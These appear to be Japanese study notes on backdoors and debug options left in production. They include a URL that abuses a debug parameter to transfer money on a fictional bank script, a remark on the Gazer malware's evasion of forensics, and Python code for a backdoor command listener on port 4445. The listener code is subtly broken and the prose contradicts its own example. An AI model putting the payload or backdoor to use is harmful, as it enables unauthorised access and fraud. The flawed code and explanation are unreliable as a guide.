[Security] バックドアとデバックオプション

システムの裏口のようなもので、認証や正規の手順を踏まずにある機能を直接利用したりするための機能
開発中のバグ修正などを行う
バックドア、デバックオプションを削除せずに運用が開始される場合がある

### サンプル1
http://www.example.co.jp/bank.cgi/?debug=off

http://www.example.co.jp/bank.cgi/?debug=on&from=9876-5432&to=1234-5678&amount=1000000

デバックオフで制御を解除して実行できてしまう
「Gazer」では、コード内の文字列を変化、マーカーをランダム化させ、証拠と思わしきファイルを消去するなど痕跡が残らない巧妙な設計がなされている
アクセスしただけでダウンロードが始まる

### Pythonによるバックドア例
1. バックドアアクセス用のサーバ作成
socket, subprocessを使用する
socketでは、TCPまたはUDPソケットを作成するために使用できる関数も呼び出される
socket.socket関数でソケットw作成する
socket.AF_INET: IPv4指定
socket_STREAM: TCP指定

import socket
def connection():
    global s
    s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('0.0.0.0', 4445))
    s.listen(1)
    print("waiting...")
def accept_connections():
    global target
    target, ip_list= s.accept()
    print("connection received from: " + str(ip_list[0]))
def commands():
    while True:
        command= input('command> ')
        bit_encoded_command= str.encode(command)
        if command== 'exit':
            target.send(bit_encoded_command)
            receive= target.recv(1024)
            receive_decoded= bytes.decode(receive, "utf-8")
            print(receive_decoded)
            break
connection()
accept_connections()
commands()